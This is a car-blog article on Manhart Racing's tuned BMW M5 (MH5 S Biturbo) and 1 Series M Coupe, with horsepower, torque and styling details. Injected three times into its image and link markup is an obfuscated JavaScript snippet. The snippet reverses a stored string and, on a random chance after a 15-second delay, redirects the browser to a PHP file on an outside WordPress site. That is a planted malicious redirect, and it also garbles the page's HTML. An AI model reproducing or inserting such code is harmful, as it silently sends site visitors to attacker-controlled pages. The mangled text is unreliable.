$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/07/MH5-S-Biturbo-1.jpg” alt=”” width=”728″ height=”485″ />
Let’s just take a second to consider some of the terms being used to describe the modified $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/new-bmw-m5-road-trip/” target=”_blank”>BMW M5 F10 from Manhart Racing: ‘predator’, ‘knife’, ‘brutal’, ‘sporty’, all of which come wrapped in a satanic black finish and with newer, bigger MHR Classic wheels. Miss Daisy may want to consider taking the bus in this instance.
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As well as taking a spanner or two to the 4.4l V8 to produce the new 633bhp power output and 575 lb-ft of torque, Manhart Racing has also tinkered with the suspension, the exhaust system and ride height on the MH5 S Biturbo to produce what it calls ‘incomparable driving pleasures’. Colour us intrigued…
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In a bid to help the MH5 S Biturbo throw its newly acquired oomph down onto the asphalt, the German outfit have also installed a new diffuser and rear spoiler, which – like the bonnet – is made from carbon fibre.
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Now you’d think, with the more powerful M5 nicely in between the M3 and M6, that this would complete the Manhart M-powered BMW line-up. And you’d be wrong, since the German company has also done the business with the 1 Series M Coupe. Don’t think though that the entry level junior is all bark and no trousers: top speed is 330kph, the MH1 S biturbo kicking out 465hp thanks to a specially developed Sports Exhaust System, larger intercoolers and updated suspension.
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We’re impressed at cranandpiston, and wonder if Manhart Racing would be interested in donning the tuning gloves with the new $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/bmw-6-series-new-gran-coupe-magic-hour/” target=”_blank”>Gran Coupé? Ahem, “Dear BMW…”
